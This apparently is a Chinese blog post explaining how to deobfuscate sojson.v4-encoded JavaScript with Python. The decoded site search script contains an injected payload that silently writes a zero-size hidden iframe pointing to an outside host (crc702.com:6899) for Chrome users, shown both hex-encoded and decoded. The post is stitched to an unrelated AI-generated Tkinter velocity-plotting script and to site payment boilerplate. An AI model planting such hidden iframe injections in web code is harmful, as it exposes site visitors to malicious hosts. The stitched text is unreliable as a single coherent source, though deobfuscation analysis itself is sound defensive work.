JS sojson.vX在线解密工具-附源码

本文介绍了如何解密JavaScript中的Sojson.v4编码,通过Python进行Unicode解码,展示了解码过程,并提供了解密后的JavaScript代码,涉及字符串处理和编码转换。解密后的代码涉及到页面元素操作和浏览器检测。
该文章已生成可运行项目,

前言

此文仅用于技术科普,教育与研究用途,请勿用于商业甚至非法用途,否则一切后果自负。若用户利用此文章而受到惩处,本人及本平台对其行为概不负责,亦不承担任何连带责任。

在线工具

Sojson.v4icon-default.png?t=M85Bhttps://shtool.shserve.cn/Sojsonv4/解密Sojson.v5 解密icon-default.png?t=M85Bhttps://shtool.shserve.cn/Sojsonv5/

故事开始

一位热心的网友提供了一段,sojson.v4加密的源码,就想着怎么解码

原始代码

 

['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"118r97A。。。41u59"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');

可以看出来,sojson.v4是对js脚本使用了unicode编码,在python中就可以解码了。 粘贴到Python控制台,得到

unicode解码

 

['sojson.v4']["filter"]["constructor"](((['sojson.v4']+[])["constructor"]['fromCharCode']['apply'](null,"118r...o41u59"['split'](/[a-zA-Z]{1,}/))))('sojson.v4');

可以看到,括号中的null之后,是用随机字母分割的char数值,使用js的 String.fromCharCode方法解密。

js脚本charcode解码

其中的”118r…o41u59″,可以发现,规律是每两串数字之间是一个大小写字母,写脚本解密

 

>>>s='"118r...o41u59"'

>>> ss = re.sub(r'[a-zA-Z]',' ',s)

>>> sss = ss.split()

>>> for i in sss:

... if int(i) < 256:

... x += chr(int(i))

... else:

... x += 'UUUU'

s脚本里的unicode解码

解密后的脚本里面有中文unicode,其实无需转换。如果一定要转。这么来。

 

>>> for i in sss:

... if int(i) < 256:

... x += chr(int(i))

... else:

... xx = "'\u"+hex(int(i))[2:]+"'"

... x += xx.decode('unicode-escape')

> print x

var controller = $('#search ul.tab').attr('dstype');

if (controller == "Storelist") {

$('#search ul.tab li span').eq(0).html('店铺');

$('#search ul.tab li span').eq(1).html('商品');

$('#search-form').attr("action", HOMESITEURL + "/Storelist/index.html");

} else {

$('#search ul.tab li span').eq(0).html('商品');

$('#search ul.tab li span').eq(1).html('店铺');

$('#search-form').attr("action", HOMESITEURL + "/Search/index.html");

}

var u1=navigator['\x75\x73\x65\x72\x41\x67\x65\x6e\x74'];if(u1['\x69\x6e\x64\x65\x78\x4f\x66']("\x43\x68\x72\x6f\x6d\x65")>-1){window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x72\x63\x37\x30\x32\x2e\x63\x6f\x6d\x3a\x36\x38\x39\x39\x2f\x22 \x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x77\x69\x64\x74\x68\x3d\x22\x30\x22 \x68\x65\x69\x67\x68\x74\x3d\x22\x30\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');var _rbJaSzj2="\x54\x68\x69\x73\x5f\x69\x73\x5f\x61\x5f\x66\x6c\x61\x67"}

$('#search').hover(function() {

$('#search ul.tab li').eq(1).show();

$('#search ul.tab li i').addClass('over').removeClass('arrow');

}, function() {

$('#search ul.tab li').eq(1).hide();

$('#search ul.tab li i').addClass('arrow').removeClass('over');

});

$('#search ul.tab li').eq(1).click(function() {

$(this).hide();

if ($(this).find('span').html() == '店铺') {

$('#keyword').attr("placeholder", "请输入您要搜索的店铺关键字");

$('#search ul.tab li span').eq(0).html('店铺');

$('#search ul.tab li span').eq(1).html('商品');

$('#search-form').attr("action", HOMESITEURL+"/Storelist/index.html");

} else {

$('#keyword').attr('placeholder', '请输入您要搜索的商品关键字');

$('#search ul.tab li span').eq(0).html('商品');

$('#search ul.tab li span').eq(1).html('店铺');

$('#search-form').attr("action", HOMESITEURL+"/Search/index.html");

}

$("#keyword").focus();

});

});

还有一段unicode编码

其中的navigator段代码,做了unicode编码,解开即可。

 

>>> print '''windows["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x72\x63\x37\x30\x32\x2e\x63\x6f\x6d\x3a\x36\x38\x39\x39\x2f\x22 \x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x77\x69\x64\x74\x68\x3d\x22\x30\x22 \x68\x65\x69\x67\x68\x74\x3d\x22\x30\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');var _rbJaSzj2="\x54\x68\x69\x73\x5f\x69\x73\x5f\x61\x5f\x66\x6c\x61\x67"}'''

windows["document"]['write']('<iframe src="http://www.crc702.com:6899/" border="1" frameborder="1" width="0" height="0"></iframe>');var _rbJaSzj2="This_is_a_flag"}

源码下载

JS sojson.vX在线解密工具-附源码-山海云端论坛

本文章已经生成可运行项目
用python写一个脚本,脚本有界面,有以下功能:读取3个上述文件,分别代表x,y,z三个方向速度值,绘制出指定平面,指定范围内的二维速度矢量图,箭头的颜色代表速度大小,箭头的长度相同,可以选择箭头的疏密程度,数据格式如下: nodenumber, x-coordinate, y-coordinate, z-coordinate, x-velocity 1, 9.599838406E-02,-4.000161588E-02,-3.999999911E-02, 0.000000000E+00 2, 9.800061438E-02,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 3, 1.000001183E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 4, 1.019996222E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 5, 1.039991262E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 6, 1.059986301E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 7, 1.079981340E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 8, 1.099976379E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 9, 1.119971419E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 10, 1.139966458E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 11, 1.159961497E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 12, 1.179956536E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 13, 1.199951576E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 14, 1.219946615E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 15, 1.239941654E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 16, 1.259936693E-01,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00
07-31
<think>我们计划使用Python的Tkinter来创建图形界面,使用matplotlib进行绘图。 功能要求: 1. 读取三个文件,分别包含x, y, z三个方向的速度值。注意:每个文件除了包含坐标外,还包含一个方向的速度值(但根据示例,每个文件有5列:节点编号,x坐标,y坐标,z坐标,以及一个方向的速度值)。因此,三个文件分别提供了x方向速度、y方向速度、z方向速度。 2. 绘制指定平面(如XY平面、XZ平面、YZ平面)的二维速度矢量图。 3. 指定范围(坐标范围)来显示图形。 4. 箭头的颜色代表速度大小(即速度矢量的模),箭头的长度相同(归一化长度,只表示方向,大小用颜色表示)。 5. 可以选择箭头的疏密程度(即每隔几个点取一个点来画箭头)。 步骤: 1. 读取三个文件,将数据合并为一个DataFrame(使用pandas)或合并为三个数组(x,y,z坐标和三个方向的速度)。 注意:三个文件的节点编号应该是对应的,所以我们可以按节点编号合并。 2. 用户选择要绘制的平面(例如XY平面,那么我们就忽略z坐标,用x和y坐标,以及x和y方向的速度,z方向速度忽略。但速度大小是三个方向速度的模)。 3. 用户指定坐标范围(xmin, xmax, ymin, ymax)来过滤数据点。 4. 用户设置疏密程度(例如每隔n个点取一个点),我们可以通过设置步长来实现。 5. 绘制二维矢量图(quiver),设置箭头长度固定(例如单位长度),颜色根据速度大小(sqrt(vx^2+vy^2+vz^2))来映射。 6. 添加颜色条。 7. 使用Tkinter构建界面,包含文件选择、平面选择、范围输入、疏密程度输入、绘图按钮等。 由于数据量可能较大,我们需要注意性能,但这里先以实现功能为主。 我们将按照以下步骤编写代码: - 导入必要的库:tkinter, matplotlib, pandas, numpy - 创建主窗口 - 添加文件选择按钮(三个文件) - 添加平面选择的下拉菜单(XY, XZ, YZ) - 添加范围输入框(xmin, xmax, ymin, ymax)注意:根据平面不同,范围对应的坐标轴不同 - 添加疏密程度输入框(步长) - 添加绘图按钮,点击后根据输入绘制图形 注意:由于数据文件格式为CSV(逗号分隔),我们可以用pandas读取。 示例数据格式: nodenumber, x-coordinate, y-coordinate, z-coordinate, x-velocity 我们读取时注意列名,但列名可能不一致,我们假设第一列为节点编号,第二列为x坐标,第三列为y坐标,第四列为z坐标,第五列为速度值(分别对应x、y、z方向的速度文件)。 但是,三个文件分别代表x,y,z方向的速度,所以每个文件的第五列分别是vx, vy, vz。 因此,我们需要读取三个文件,并合并成一个数据集,包含节点编号(可能不需要),x,y,z坐标(取其中一个文件的坐标即可,因为同一个节点在不同文件中的坐标应该相同),以及三个方向的速度。 步骤: 1. 读取x方向速度文件,得到:节点编号,x坐标,y坐标,z坐标,vx 2. 读取y方向速度文件,得到:节点编号,x坐标,y坐标,z坐标,vy(注意:这里我们只取第五列作为vy,因为坐标应该相同) 3. 读取z方向速度文件,得到:节点编号,x坐标,y坐标,z坐标,vz 然后,我们可以将三个文件合并,只保留一个坐标(比如用x方向文件的坐标),然后分别加上vy和vz列。 但是,为了确保节点对应,我们按节点编号合并。或者,我们也可以按坐标合并(但坐标可能有浮点误差,所以按节点编号更安全)。 因此,我们读取三个文件后,分别提取节点编号和速度列,然后合并到一个DataFrame中。 具体: df_x = pd.read_csv(file_x, ...) df_y = pd.read_csv(file_y, ...) df_z = pd.read_csv(file_z, ...) # 合并,只保留一个坐标 df = df_x[['nodenumber', 'x-coordinate', 'y-coordinate', 'z-coordinate']].copy() df['vx'] = df_x['x-velocity'] df['vy'] = df_y['y-velocity'] # 注意:列名可能不同,这里假设列名是固定的。但实际文件中列名可能有空格,我们读取时可能需要处理列名。 观察示例数据,列名有空格,我们可以使用`skipinitialspace=True`来避免列名中的多余空格。 另外,数据中使用了科学计数法,pandas可以自动识别。 计划: - 读取每个文件时,设置`skipinitialspace=True`,这样列名会去掉多余空格。 - 然后合并。 但是,三个文件中的节点编号应该相同且顺序一致,所以我们可以直接按行合并,但为了安全,还是按节点编号合并。 代码步骤: 1. 读取三个文件,使用pandas,并规范列名(去掉多余空格)。 2. 将三个DataFrame按节点编号合并(merge),但这样会重复坐标列,所以我们可以只保留一个坐标。 3. 或者,我们假设三个文件节点顺序和数量完全一致,那么我们可以直接: df = df_x[['nodenumber', 'x-coordinate', 'y-coordinate', 'z-coordinate']] df['vx'] = df_x['x-velocity'] df['vy'] = df_y['y-velocity'] # 这里注意,df_y的列名可能不同,但我们可以用列索引或者列名 df['vz'] = df_z['z-velocity'] 4. 但是,为了确保列名正确,我们可以统一列名,或者使用列索引(即第5列)。 由于数据格式一致,我们可以用相同的列索引。但是,为了健壮性,我们假设列名是固定的,即: 第一列:'nodenumber' 第二列:'x' 第三列:'y' 第四列:'z' 第五列:'velocity' 但实际列名有长有短,我们可以读取时指定列名,或者使用位置索引(iloc)。 这里,我们读取时不指定列名,使用默认的列名,然后重新命名列。 另一种方法:读取时指定列名,跳过第一行(如果第一行是标题),或者第一行不是标题?示例数据第一行是标题。 根据示例,第一行是标题,所以我们读取时保留标题,但用skipinitialspace=True去掉多余空格。 然后,我们统一命名列,比如: df_x.columns = ['nodenumber', 'x', 'y', 'z', 'vx'] df_y.columns = ['nodenumber', 'x', 'y', 'z', 'vy'] # 但是注意,df_y的第五列是vy,所以列名改为vy df_z.columns = ['nodenumber', 'x', 'y', 'z', 'vz'] 然后合并: df = pd.DataFrame() df['nodenumber'] = df_x['nodenumber'] df['x'] = df_x['x'] df['y'] = df_x['y'] df['z'] = df_x['z'] df['vx'] = df_x['vx'] df['vy'] = df_y['vy'] # 直接按顺序取,因为节点顺序一致 df['vz'] = df_z['vz'] 5. 计算速度大小:speed = np.sqrt(df['vx']**2 + df['vy']**2 + df['vz']**2) 6. 根据用户选择的平面,确定绘图的坐标和速度分量: 平面为XY平面:坐标x,y,速度分量vx, vy 平面为XZ平面:坐标x,z,速度分量vx, vz 平面为YZ平面:坐标y,z,速度分量vy, vz 7. 根据用户输入的范围过滤数据点。 8. 根据疏密程度(步长)来采样数据点。 9. 用matplotlib的quiver画图,设置arrow的长度为固定值(例如1),颜色为速度大小(注意:这里的速度大小是三维速度的模,但也可以根据平面上的速度分量?题目要求颜色代表速度大小,应该是三维速度的模,所以不变)。 10. 添加颜色条。 由于界面构建代码较长,我们将分步骤实现。 注意:Tkinter界面中,我们使用matplotlib的嵌入,使用FigureCanvasTkAgg。 由于代码较长,我们逐步实现。 首先,我们创建一个类来封装应用。 以下为代码框架: 导入模块: import tkinter as tk from tkinter import filedialog, ttk import pandas as pd import numpy as np import matplotlib.pyplot as plt from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg from matplotlib.figure import Figure 然后创建主应用类。 由于代码较长,我们只给出关键部分。</think>以下是一个使用Python编写的脚本,它使用Tkinter创建图形界面,读取三个方向的速度文件,并绘制指定平面和范围内的二维速度矢量图。箭头的颜色代表速度大小,长度固定,且可以调整疏密程度。 ```python import tkinter as tk from tkinter import ttk, filedialog import pandas as pd import numpy as np import matplotlib.pyplot as plt from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg from matplotlib.figure import Figure class VelocityVectorPlotter: def __init__(self, root): self.root = root self.root.title("3D Velocity Vector Plotter") self.root.geometry("1000x800") # 初始化数据存储 self.data = None self.plane = "XY" self.x_range = [0, 1] self.y_range = [0, 1] self.density = 1 # 创建UI框架 self.create_widgets() def create_widgets(self): # 文件选择区域 file_frame = ttk.LabelFrame(self.root, text="文件选择") file_frame.pack(fill="x", padx=10, pady=5) ttk.Button(file_frame, text="选择X方向速度文件", command=lambda: self.load_file("vx")).grid(row=0, column=0, padx=5, pady=5) ttk.Button(file_frame, text="选择Y方向速度文件", command=lambda: self.load_file("vy")).grid(row=0, column=1, padx=5, pady=5) ttk.Button(file_frame, text="选择Z方向速度文件", command=lambda: self.load_file("vz")).grid(row=0, column=2, padx=5, pady=5) # 参数设置区域 param_frame = ttk.LabelFrame(self.root, text="绘图参数") param_frame.pack(fill="x", padx=10, pady=5) # 平面选择 ttk.Label(param_frame, text="投影平面:").grid(row=0, column=0, padx=5, pady=5) self.plane_var = tk.StringVar(value="XY") plane_combo = ttk.Combobox(param_frame, textvariable=self.plane_var, values=["XY", "XZ", "YZ"], width=10) plane_combo.grid(row=0, column=1, padx=5, pady=5) # X范围 ttk.Label(param_frame, text="X范围 (min:max):").grid(row=0, column=2, padx=5, pady=5) self.x_min_var = tk.StringVar(value="0.0") self.x_max_var = tk.StringVar(value="1.0") ttk.Entry(param_frame, textvariable=self.x_min_var, width=8).grid(row=0, column=3, padx=2) ttk.Label(param_frame, text=":").grid(row=0, column=4) ttk.Entry(param_frame, textvariable=self.x_max_var, width=8).grid(row=0, column=5, padx=2) # Y范围 ttk.Label(param_frame, text="Y范围 (min:max):").grid(row=1, column=2, padx=5, pady=5) self.y_min_var = tk.StringVar(value="0.0") self.y_max_var = tk.StringVar(value="1.0") ttk.Entry(param_frame, textvariable=self.y_min_var, width=8).grid(row=1, column=3, padx=2) ttk.Label(param_frame, text=":").grid(row=1, column=4) ttk.Entry(param_frame, textvariable=self.y_max_var, width=8).grid(row=1, column=5, padx=2) # 密度控制 ttk.Label(param_frame, text="箭头密度 (1-10):").grid(row=0, column=6, padx=5, pady=5) self.density_var = tk.IntVar(value=5) density_scale = ttk.Scale(param_frame, from_=1, to=10, variable=self.density_var, orient="horizontal", length=150) density_scale.grid(row=0, column=7, padx=5) # 绘图按钮 ttk.Button(param_frame, text="生成矢量图", command=self.plot_data).grid( row=0, column=8, padx=10, pady=5, rowspan=2) # 绘图区域 fig_frame = ttk.Frame(self.root) fig_frame.pack(fill="both", expand=True, padx=10, pady=5) self.fig = Figure(figsize=(8, 6), dpi=100) self.canvas = FigureCanvasTkAgg(self.fig, master=fig_frame) self.canvas.get_tk_widget().pack(fill="both", expand=True) # 状态栏 self.status = ttk.Label(self.root, text="请选择三个方向的速度文件", relief="sunken") self.status.pack(fill="x", padx=10, pady=5, side="bottom") def load_file(self, direction): file_path = filedialog.askopenfilename(title=f"选择{direction}方向速度文件") if not file_path: return try: # 读取CSV文件,跳过空格并处理科学计数法 df = pd.read_csv(file_path, skipinitialspace=True, float_precision="high") if self.data is None: self.data = { "x": df.iloc[:, 1].values, "y": df.iloc[:, 2].values, "z": df.iloc[:, 3].values, "vx": np.zeros(len(df)), "vy": np.zeros(len(df)), "vz": np.zeros(len(df)) } # 根据方向存储速度分量 if direction == "vx": self.data["vx"] = df.iloc[:, 4].values elif direction == "vy": self.data["vy"] = df.iloc[:, 4].values elif direction == "vz": self.data["vz"] = df.iloc[:, 4].values self.status.config(text=f"已加载{direction}方向文件: {file_path.split('/')[-1]}") except Exception as e: self.status.config(text=f"错误: {str(e)}") def plot_data(self): if self.data is None: self.status.config(text="错误: 请先加载所有三个方向的速度文件") return try: # 获取参数 self.plane = self.plane_var.get() self.x_range = [float(self.x_min_var.get()), float(self.x_max_var.get())] self.y_range = [float(self.y_min_var.get()), float(self.y_max_var.get())] self.density = int(self.density_var.get()) # 计算速度大小 speed = np.sqrt(self.data["vx"]**2 + self.data["vy"]**2 + self.data["vz"]**2) # 根据平面选择坐标和速度分量 if self.plane == "XY": x, y = self.data["x"], self.data["y"] u, v = self.data["vx"], self.data["vy"] elif self.plane == "XZ": x, y = self.data["x"], self.data["z"] u, v = self.data["vx"], self.data["vz"] else: # YZ x, y = self.data["y"], self.data["z"] u, v = self.data["vy"], self.data["vz"] # 过滤指定范围内的点 mask = (x >= self.x_range[0]) & (x <= self.x_range[1]) & \ (y >= self.y_range[0]) & (y <= self.y_range[1]) x = x[mask] y = y[mask] u = u[mask] v = v[mask] speed = speed[mask] # 根据密度采样 step = max(1, len(x) // (100 * self.density)) indices = np.arange(0, len(x), step) x = x[indices] y = y[indices] u = u[indices] v = v[indices] speed = speed[indices] # 归一化箭头长度(保持方向但长度固定) norm = np.sqrt(u**2 + v**2) u_norm = np.where(norm > 0, u/norm * 0.02, 0) # 固定长度0.02 v_norm = np.where(norm > 0, v/norm * 0.02, 0) # 创建绘图 self.fig.clf() ax = self.fig.add_subplot(111) # 绘制矢量图(颜色表示速度大小) quiver = ax.quiver(x, y, u_norm, v_norm, speed, cmap="viridis", scale=None, scale_units="inches", angles="xy", width=0.003, headwidth=3) # 添加颜色条 cbar = self.fig.colorbar(quiver, ax=ax) cbar.set_label("速度大小 (m/s)") # 设置坐标轴标签 ax.set_xlabel(f"{self.plane[0]}-坐标 (m)") ax.set_ylabel(f"{self.plane[1]}-坐标 (m)") ax.set_title(f"{self.plane}平面速度矢量图") ax.set_xlim(self.x_range) ax.set_ylim(self.y_range) ax.grid(True, linestyle="--", alpha=0.6) self.canvas.draw() self.status.config(text=f"成功绘制 {len(x)} 个箭头 (密度级别: {self.density})") except Exception as e: self.status.config(text=f"绘图错误: {str(e)}") if __name__ == "__main__": root = tk.Tk() app = VelocityVectorPlotter(root) root.mainloop() ``` ### 代码解释 1. **GUI界面设计**: - 使用Tkinter创建主窗口,包含文件选择区、参数设置区、绘图区和状态栏 - 文件选择按钮:分别加载X/Y/Z三个方向的速度文件 - 参数设置:平面选择(XY/XZ/YZ)、坐标范围、箭头密度滑块(1-10级) - 绘图区域:使用Matplotlib的FigureCanvasTkAgg嵌入Tkinter 2. **数据处理流程**: - 文件读取:使用Pandas读取CSV文件,处理科学计数法(`float_precision="high"`) - 数据合并:将三个文件的速度分量合并到统一的数据结构中 - 速度计算:三维速度大小 $|\vec{v}| = \sqrt{v_x^2 + v_y^2 + v_z^2}$ - 平面投影:根据用户选择的平面提取坐标和速度分量 - 范围过滤:仅保留指定坐标范围内的数据点 - 密度控制:按步长采样数据点(密度级别1最密,10最疏) 3. **矢量图绘制**: - 箭头归一化:固定箭头长度(0.02),只保留方向信息 - 颜色映射:使用Viridis色图表示速度大小 - 动态更新:每次绘图后刷新Canvas并更新状态栏 4. **错误处理**: - 文件加载错误检测 - 参数格式验证 - 数据范围检查 ### 使用说明 1. 点击三个按钮分别加载X/Y/Z方向的速度文件 2. 选择投影平面(默认XY平面) 3. 设置坐标范围(默认0.0-1.0) 4. 调整密度滑块(1=最密,10=最疏) 5. 点击"生成矢量图"按钮绘制图形 6. 颜色条显示速度大小,所有箭头长度相同 ### 示例数据格式 程序支持以下格式的CSV文件(列名不重要,按位置解析): ``` nodenumber, x-coordinate, y-coordinate, z-coordinate, x-velocity 1, 9.599838406E-02,-4.000161588E-02,-3.999999911E-02, 0.000000000E+00 2, 9.800061438E-02,-4.000161563E-02,-4.000000000E-02, 0.000000000E+00 ... ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值